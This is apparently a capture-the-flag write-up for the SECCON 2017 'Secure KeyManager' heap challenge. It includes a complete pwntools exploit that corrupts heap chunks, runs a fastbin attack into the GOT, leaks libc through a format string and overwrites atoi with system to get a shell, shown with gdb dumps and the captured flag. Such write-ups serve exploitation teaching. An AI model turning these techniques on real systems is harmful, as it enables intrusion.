Secure KeyManager (36 solves) (400 points)

I have developed a very very secure key manager! The key should never leak. Have a secure day :)

Host : secure_keymanager.pwn.seccon.jp Port : 47225

Attachment: secure_keymanager.zip (pw: seccon2017) xpl.py

CANARY    : ENABLED
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
 _____                            _   __          ___  ___                                  
/  ___|                          | | / /          |  \/  |                                  
\ `--.  ___  ___ _   _ _ __ ___  | |/ /  ___ _   _| .  . | __ _ _ __   __ _  __ _  ___ _ __ 
 `--. \/ _ \/ __| | | | '__/ _ \ |    \ / _ \ | | | |\/| |/ _` | '_ \ / _` |/ _` |/ _ \ '__|
/\__/ /  __/ (__| |_| | | |  __/ | |\  \  __/ |_| | |  | | (_| | | | | (_| | (_| |  __/ |   
\____/ \___|\___|\__,_|_|  \___| \_| \_/\___|\__, \_|  |_/\__,_|_| |_|\__,_|\__, |\___|_|   
                                              __/ |                          __/ |          
                                             |___/                          |___/           

Set Your Account Name >> AAAA
Set Your Master Pass >> BBBB

1. add
2. show
3. edit
4. remove
9. change master pass
0. exit
>> 

SecureKeyManager will let you create/edit/remove keys. The show method doesn’t really help much, since it only shows the count of created keys, but not their content.

void show_key()
{  
  puts("id : Title / Key");

  for (int i = 0; i <= 7; ++i )
  {    
    if ( key_map[i] )
      printf("%02d : ***SECRET*** / ***SECRET***\n", i);
  }  
}

So, let’s take a look at the remaining functions before getting into the exploit.

The key itself will contain 32 characters for a Title and the rest of the allocated chunk will be used for the Key. For readabilitys sake, we’ll use this pseudo struct.

struct Key {
    char Title[32];
    char Key[x];
}

The add method will allocate the space needed to store the key, and ask for a title and the key itself.

int add_key()
{  
  int idx_key = 0;

  while ( idx_key <= 7 && key_map[idx_key] )
    idx_key += 1;

  if ( idx_key > 7 )
    return puts("can't add key any more...");    

  puts("ADD KEY");

  printf("Input key length...");
  int key_length = getint();

  // No checking for negative length here...
  Key *key = (Key *)malloc(key_length + 32);

  if ( !key )
    return puts("can not allocate...");

  printf("Input title...");
  getnline(key->Title, 32);

  printf("Input key...", 32LL);
  getnline(key->Key, key_length);

  key_list[idx_key] = key;  
  key_map[idx_key] = 1;

  return idx_free_key;
}

It fails on validating our input for key length. We can enter a negative length, forcing malloc into allocating a chunk with size 0, which will mean doom for the binary later on. Also the allocated space doesn’t gets initialized, so we might reuse the containing data or overwrite existing data with the Title or Key.

int edit_key()
{
  puts("EDIT KEY");
  
  if (check_account())    // Ask for user/pass
  {
    printf("Input id to edit...");
    int idx_key = getint();

    if ( idx_key >= 0 && idx_key <= 7 )
    {
      if ( key_map[idx_key] )
      {
        printf("Input new key...");
        usable_size = malloc_usable_size(key_list[idx_key]);

        return getnline(key_list[idx_key] + 32, usable_size - 32);
      }
      else
      {
        return puts("not exits...");
      }
    }
    else
    {
      return puts("out of length");
    }
  }
  return 0;
}

Nothing special here. Since it checks for malloc_usable_size and subtracts the title length here, we won’t be able to write a key, if the chunk doesn’t provides enough space for it. But we could use this, if we’re able to create a chunk in a somehow more interesting place to overwrite data.

int remove_key()
{
  puts("REMOVE KEY");  
  if ( check_account() )        // Check for user/pass
  {
    printf("Input id to remove...");
    int idx = getint();
    if ( idx >= 0 && idx <= 7 )
    {
      if ( key_list[idx] )
      {
        free(key_list[idx]);
        key_map[idx] = 0;

        return idx;
      }
      else
        return puts("not exits...");
    }
    else
      return puts("out of length");
  }
  return 0;
}

The remove function frees the allocated space, but doesn’t clear the key_list entry for it. It does indeed zero out the corresponding byte in key_map, which is used to validate, if a key is in use or not.

The main vulnerability in this binary for me was the fact, that the entered length for the key doesn’t get validated, thus allowing us to pass a size of 0 to malloc by specifying a key length of -32. This will force malloc into allocating a chunk with the minimum size of 0x21.

So, let’s see, what could possibly go wrong in the add_key method by doing this.

>> 1

ADD KEY
Input key length...-32

Since add_key now adds 32 to it, for reserving space for the Title, this will result in malloc (0). The reserved chunk will look like this

0x603000:   0x0000000000000000  0x0000000000000021  <== Chunk
0x603010:   0x0000000000000000  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000020fe1  <== Top
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000

There are only 24 bytes available for our chunk, so what happens when we now enter the allowed 30 bytes (getnline decreases the input size, to make sure we don’t enter too much here ;))

Input title...Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9
0x603000:   0x0000000000000000  0x0000000000000021  <== Chunk
0x603010:   0x6141316141306141  0x4134614133614132  
0x603020:   0x3761413661413561  0x0000396141386141  <== Top (corrupted)
0x603030:   0x0000000000000000  0x0000000000000000
0x603040:   0x0000000000000000  0x0000000000000000

So, we’re able to overwrite the chunk size of the following chunk. This is good enough to make this binary stall badly :)

Our attack plan for this will be

  • Corrupt the chunks on the heap to create an overlapping freed chunk
  • Force malloc into giving us a chunk overlapping the key table in the bss
  • Specify a fake chunk in the got table, letting us overwrite the got entries
  • Overwrite atoi with printf
  • Leak everything
  • Overwrite atoi with system
  • Enjoy shell

Quick setup for communicating with the service:

#!/usr/bin/python
from pwn import *
import sys

HOST = "secure_keymanager.pwn.seccon.jp"
PORT = 47225

ACCOUNT = "A" * 8 + p16(0x71)       # Fake chunksize for later ;-)
PASS = "B" * 8 + "\x00"

def add_key(len, title, key):
    r.sendline("1")
    r.sendlineafter("...", str(len))
    r.sendlineafter("...", title)

    if (key != ""):
        r.sendlineafter("...", key)

    r.recvuntil(">> ")

def remove_key(idx):
    r.sendline("4")
    r.sendafter(">> ", ACCOUNT)
    r.sendafter(">> ", PASS)
    r.sendlineafter("...", str(idx))

    r.recvuntil(">> ")

def exploit(r):
    r.sendafter(">> ", ACCOUNT)
    r.sendafter(">> ", PASS)

    r.recvuntil(">> ")

    r.interactive()

    return

if __name__ == "__main__":
    e = ELF("./secure_keymanager")

    if len(sys.argv) > 1:
        r = remote(HOST, PORT)
        exploit(r)
    else:
        r = process("./secure_keymanager", env={"LD_PRELOAD": "./libc-2.23.so"})
        print util.proc.pidof(r)
        pause()
        exploit(r)

This will do the login for the binary and it will also prepare a fake chunk size in the login credentials 0x71, which we’ll be using later to overwrite all the stuff in the bss.

After login, the bss part will look like this:

$ x/30gx 0x6020c0
0x6020c0 <account>:     0x4141414141414141  0x0000000000000071 <== Account name + fake chunk size 
0x6020d0:               0x0000000000000000  0x0000000000000000
0x6020e0 <key_list>:    0x0000000000000000  0x0000000000000000 <== Key array
0x6020f0 <key_list+16>: 0x0000000000000000  0x0000000000000000
0x602100 <key_list+32>: 0x0000000000000000  0x0000000000000000
0x602110 <key_list+48>: 0x0000000000000000  0x0000000000000000
0x602120 <key_map>:     0x0000000000000000  0x0000000000000000 <== Key map (keys in use)
0x602130 <master>:      0x4242424242424242  0x0000000000000000 <== Account password

Now, let’s forge the heap for our needs.

We’ll create a chunk with size 0x0 first. Then two fastbin chunks and a blocker chunk to avoid consolidation on free (the blocker chunk isn’t really needed, but makes it easier to understand and explain, what’s happening on the heap. It would also work without the blocker chunk, but we would be taking chunks from the top chunk then instead of unsorted bin list).

log.info("Create initial chunks (fastbins + blocker chunk)")
add_key(-32, "A" * 8, "")                           # Malformed chunk
add_key(100 - 32, "B" * 30, "C" * (100 - 32 - 2))   
add_key(100 - 32, "D" * 30, "E" * (100 - 32 - 2))
add_key(400, "BLOCKER", "F"*100)

This produces the following heap structure

gdb-peda$ x/60gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000021  <== Chunk 1 (evil one)
0x603010:   0x4141414141414141  0x0000000000000000
0x603020:   0x0000000000000000  0x0000000000000071  <== Chunk 2 
0x603030:   0x4242424242424242  0x4242424242424242              \
0x603040:   0x4242424242424242  0x0000424242424242               |
0x603050:   0x4343434343434343  0x4343434343434343               |
0x603060:   0x4343434343434343  0x4343434343434343               |  (Chunk 2)
0x603070:   0x4343434343434343  0x4343434343434343               |
0x603080:   0x4343434343434343  0x4343434343434343               |
0x603090:   0x0000000000004343  0x0000000000000071  <== Chunk 3 /
0x6030a0:   0x4444444444444444  0x4444444444444444              \
0x6030b0:   0x4444444444444444  0x0000444444444444               |
0x6030c0:   0x4545454545454545  0x4545454545454545               |
0x6030d0:   0x4545454545454545  0x4545454545454545               |  (Chunk 3)
0x6030e0:   0x4545454545454545  0x4545454545454545               |
0x6030f0:   0x4545454545454545  0x4545454545454545               |
0x603100:   0x0000000000004545  0x00000000000001c1  <== Chunk 4  /

Now, we’ll just remove our first chunk, which will place it into the fastbin list and recreate it. malloc will see the chunk in the fastbin list and serves it again to reuse it.

log.info("Recreate first chunk and overwrite second chunk metadat")
remove_key(0)

add_key(-32, "A" * 24 + p8(0xe1), "")

With this, we’ll overwrite the size of Chunk 2 with 0xe1, tricking malloc into thinking, this chunk would contain all the data between 0x603030 and 0x603100. The size must be forged this way, that it creates a valid chunk (this is fulfilled here, since it takes up the space between chunk 2 start and Chunk4 start)

0x603000:   0x0000000000000000  0x0000000000000021  <== Chunk 1
0x603010:   0x4141414141414141  0x4141414141414141
0x603020:   0x4141414141414141  0x00000000000000e1  <== Chunk 2 \
0x603030:   0x4242424242424242  0x4242424242424242               |
0x603040:   0x4242424242424242  0x0000424242424242               |
0x603050:   0x4343434343434343  0x4343434343434343               |
0x603060:   0x4343434343434343  0x4343434343434343               |
0x603070:   0x4343434343434343  0x4343434343434343               |
0x603080:   0x4343434343434343  0x4343434343434343               |
0x603090:   0x0000000000004343  0x0000000000000071  <== Chunk 3  |
0x6030a0:   0x4444444444444444  0x4444444444444444             \ |
0x6030b0:   0x4444444444444444  0x0000444444444444              ||
0x6030c0:   0x4545454545454545  0x4545454545454545              ||
0x6030d0:   0x4545454545454545  0x4545454545454545              ||
0x6030e0:   0x4545454545454545  0x4545454545454545              ||
0x6030f0:   0x4545454545454545  0x4545454545454545              ||
0x603100:   0x0000000000004545  0x00000000000001c1  <== Chunk 4 //

When we now free chunk 2, it will see the chunk size of 0xe1 and create an overlapping freed chunk in unsorted bin list, just waiting to get served again.

log.info("Remove second chunk (creates overlapped freed chunk)")
remove_key(1)
gdb-peda$ p main_arena
$3 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, 
  top = 0x6032c0, 
  last_remainder = 0x0, 
  bins = {0x603020, 0x603020, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>,          <== Chunk 2 
    0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>, 
    0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>, 
    0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>, 

Now, we’ll free chunk 3 also. Since it has size 0x71, it will be put into fastbin list, letting bin list untouched.

log.info("Remove third chunk (put to fastbin list)")
remove_key(2)
gdb-peda$ x/100gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000021  <== Chunk 1 (allocated)
0x603010:   0x4141414141414141  0x4141414141414141
0x603020:   0x4141414141414141  0x00000000000000e1  <== Chunk 2 (freed)
0x603030:   0x00007ffff7dd3b58  0x00007ffff7dd3b58  <== Chunk 2 FD/BK
0x603040:   0x4242424242424242  0x0000424242424242
0x603050:   0x4343434343434343  0x4343434343434343
0x603060:   0x4343434343434343  0x4343434343434343
0x603070:   0x4343434343434343  0x4343434343434343
0x603080:   0x4343434343434343  0x4343434343434343
0x603090:   0x0000000000004343  0x0000000000000071  <== Chunk 3 (freed)
0x6030a0:   0x0000000000000000  0x4444444444444444  <== Chunk 3 FD (currently empty)
0x6030b0:   0x4444444444444444  0x0000444444444444
0x6030c0:   0x4545454545454545  0x4545454545454545
0x6030d0:   0x4545454545454545  0x4545454545454545
0x6030e0:   0x4545454545454545  0x4545454545454545
0x6030f0:   0x4545454545454545  0x4545454545454545
0x603100:   0x00000000000000e0  0x00000000000001c0  <== Chunk 4 (allocated)

gdb-peda$ p main_arena
$4 = {
  mutex = 0x0, 
  flags = 0x0, 
  fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x603090, 0x0, 0x0, 0x0, 0x0},                                  <== Chunk 3 
  top = 0x6032c0, 
  last_remainder = 0x0, 
  bins = {0x603020, 0x603020, 0x7ffff7dd3b68 <main_arena+104>, 0x7ffff7dd3b68 <main_arena+104>,         <== Chunk 2 
    0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b78 <main_arena+120>, 0x7ffff7dd3b88 <main_arena+136>, 
    0x7ffff7dd3b88 <main_arena+136>, 0x7ffff7dd3b98 <main_arena+152>, 0x7ffff7dd3b98 <main_arena+152>, 
    0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3ba8 <main_arena+168>, 0x7ffff7dd3bb8 <main_arena+184>, 

Now we can create another key with a size matching the one of chunk 2. malloc will then serve us chunk 2 again, since it’s on top of the bin list, which is overlapping chunk 3, sitting in the fastbin list.

log.info("Create overlapping chunk and overwrite fastbin FD")
payload = "A"*64
payload += p64(0) + p64(0x71)    # Chunk 3 header
payload += p64(0x6020c0)         # Chunk 3 FD

add_key(184, "OVERWRITER", payload)

The chunk, that’s created now, overlaps chunk 3 and overwrites its metadata (and its FD pointer)

gdb-peda$ x/100gx 0x603000
0x603000:   0x0000000000000000  0x0000000000000021  <== Chunk 1 (allocated)
0x603010:   0x4141414141414141  0x4141414141414141
0x603020:   0x4141414141414141  0x00000000000000e1  <== Chunk 2 (allocated)
0x603030:   0x544952575245564f  0x00007fff00005245
0x603040:   0x4242424242424242  0x0000424242424242
0x603050:   0x4141414141414141  0x4141414141414141
0x603060:   0x4141414141414141  0x4141414141414141
0x603070:   0x4141414141414141  0x4141414141414141
0x603080:   0x4141414141414141  0x4141414141414141
0x603090:   0x0000000000000000  0x0000000000000071  <== Chunk 3 (freed)
0x6030a0:   0x00000000006020c0  0x444444444444000a  <== Chunk 3 FD (now pointing to key array)
0x6030b0:   0x4444444444444444  0x0000444444444444
0x6030c0:   0x4545454545454545  0x4545454545454545
0x6030d0:   0x4545454545454545  0x4545454545454545
0x6030e0:   0x4545454545454545  0x4545454545454545
0x6030f0:   0x4545454545454545  0x4545454545454545
0x603100:   0x00000000000000e0  0x00000000000001c1  <== Chunk 4 (allocated)

$ x/30gx 0x6020c0
0x6020c0 <account>:     0x4141414141414141  0x0000000000000071 <== Account name + fake chunk size 
0x6020d0:               0x0000000000000000  0x0000000000000000
0x6020e0 <key_list>:    0x0000000000000000  0x0000000000000000 <== Key array
0x6020f0 <key_list+16>: 0x0000000000000000  0x0000000000000000
0x602100 <key_list+32>: 0x0000000000000000  0x0000000000000000
0x602110 <key_list+48>: 0x0000000000000000  0x0000000000000000
0x602120 <key_map>:     0x0000000000000000  0x0000000000000000 <== Key map (keys in use)
0x602130 <master>:      0x4242424242424242  0x0000000000000000 <== Account password

By this, we now have a fastbin chunk, whose FD pointer points to the fake chunk, we created in the beginning in our account object. Adding another key with size 0x71 will put this FD pointer into the fastbin list, and the next key, which will be added, will be created on top of the key list array.

log.info("Create chunk to get fake FD into fastbin")    
add_key(100-32, "B"*30, "C")

log.info("Create chunk to overwrite pointer table")

payload1 += p64(0x602030)           # key0
payload1 += p64(0xcafebabe)[:6]     # key1

payload2 =  p64(0xcafebabe)         # key2
payload2 += p64(0xcafebabe)         # key3
payload2 += p64(0xcafebabe)         # key4 (unusable)
payload2 += p64(0xcafebabe)         # key5
payload2 += p64(0xcafebabe)         # key6
payload2 += p64(0xcafebabe)         # key7
payload2 += p64(0x0101010101010101) # keymap

add_key(100-32, payload1, payload2)

Adding this key will overwrite the top portion of the bss structure with the Title in payload1 and the bottom part with Key in payload2.

The bss will now look like this

0x6020c0 <account>:     0x4141414141414141  0x0000000000000071 <== Fake chunk
0x6020d0:               0x4141414141414141  0x4141414141414141
0x6020e0 <key_list>:    0x0000000000602030  0x000a0000cafebabe <== Our payload data
0x6020f0 <key_list+16>: 0x000a0000cafebabe  0x000a0000cafebabe
0x602100 <key_list+32>: 0x00000000006020d0  0x00000000cafebabe
0x602110 <key_list+48>: 0x00000000cafebabe  0x00000000cafebabe
0x602120 <key_map>:     0x0101010101010101  0x000000000000000a <== key_map (all keys active)
0x602130 <master>:      0x4242424242424242  0x0000000000000000

Our first key now points to 0x602030 which is inside the got table

0x602000:   0x0000000000601e28  0x00007ffff7ffe170
0x602010:   0x00007ffff7deecc0  0x00007ffff7ab7510
0x602020:   0x00007ffff7aa4f90  0x00000000004006c6 <== puts   / __stack_chk_fail
0x602030:   0x00007ffff7aabac0  0x00007ffff7aba9e0 <== setbuf / strchr
0x602040:   0x00007ffff7a8b190  0x0000000000400706 <== printf / malloc_usable_size
0x602050:   0x00007ffff7b176b0  0x00007ffff7a5c1f0 <== read   / __libc_start_main
0x602060:   0x00007ffff7acb520  0x00007ffff7ab6f10 <== strcmp / malloc
0x602070:   0x00007ffff7a70280  0x0000000000000000 <== atoi
0x602080:   0x0000000000000000  0x0000000000000000
0x602090:   0x0000000000000000  0x0000000000000000

If we now try to edit Key 0, edit_key will call malloc_usable_size on 0x602030 resulting in an allowed size of 0x4006b0, which should be enough for us to overwrite everything we need :)

Since we have no leaks by now, we’ll use this to replace atoi with printf. So everytime the menu handler tries to convert our input to an integer, it will instead call printf with our input, creating a format string vulnerability.

log.info("Overwrite atoi with printf plt")

newgot  = p64(e.plt["read"] + 6)   + p64(e.plt["__libc_start_main"] + 6)
newgot += p64(e.plt["strcmp"] + 6) + p64(e.plt["malloc"] +6)
newgot += p64(e.plt["printf"] + 6)                                         # atoi got

edit_key(0, newgot)

For calling something in the menu from now on, we’ll have to consider the fact, that after overwriting atoi with printf, the menu handler will no longer be able to convert our input into an integer. Though, printf will return the count of characters printed out, so we can still select 3 for examply by just printing 3 characters instead.

def edit_key(idx, new_key, fakeAtoi=False):
    if fakeAtoi:
        r.sendline("...")
    else:
        r.sendline("3")

    r.sendafter(">> ", ACCOUNT)
    r.sendafter(">> ", PASS)
    
    if fakeAtoi:
        r.sendlineafter("...", "."*idx)
    else:
        r.sendlineafter("...", str(idx))
    
    r.sendlineafter("...", new_key)

    r.recvuntil(">> ")

So, we’re on the finish line, let’s leak libc address

log.info("Leak LIBC with format string")

r.sendline("%3$p")
LIBCLEAK = int(r.recvline().strip(), 16)
r.recvuntil(">> ")
    
libc = ELF("./libc-2.23.so")
libc.address = LIBCLEAK - 0xf7230

log.info("LIBC leak        : %s" % hex(LIBCLEAK))
log.info("LIBC             : %s" % hex(libc.address))

With libc on hand, it’s just another overwrite, replacing atoi with system

log.info("Overwrite atoi with system")

newgot  = p64(e.plt["read"] + 6) + p64(e.plt["__libc_start_main"] + 6)
newgot += p64(e.plt["strcmp"] + 6) + p64(e.plt["malloc"] +6)
newgot += p64(libc.symbols["system"])   

edit_key(0, newgot, True)

atoi now points to system. So everything, we now enter in the menu handler, will be passed to system instead of printf.

Select /bin/sh to trigger a shell

log.info("Send /bin/sh to trigger shell")
r.sendline("/bin/sh")

r.interactive()

Done…

$ python work.py 1
[*] '/home/kileak/pwn/Challenges/seccon/secure/secure_keymanager'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to secure_keymanager.pwn.seccon.jp on port 47225: Done
[*] Create initial chunks (fastbins + blocker chunk)
[*] Recreate first chunk and overwrite second chunk metadat
[*] Remove second chunk (creates overlapped freed chunk)
[*] Remove third chunk (put to fastbin list)
[*] Create overlapping chunk and overwrite fastbin FD
[*] Create chunk to get fake FD into fastbin
[*] Create chunk to overwrite pointer table
[*] Overwrite atoi with printf plt
[*] Leak LIBC with format string
[*] '/home/kileak/pwn/Challenges/seccon/secure/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] LIBC leak        : 0x7fcd20214230
[*] LIBC             : 0x7fcd2011d000
[*] Overwrite atoi with system
[*] Send /bin/sh to trigger shell
[*] Switching to interactive mode
$ ls
flag.txt
secure_keymanager
$ cat flag.txt
SECCON{C4n_y0u_b347_h34p_45lr?}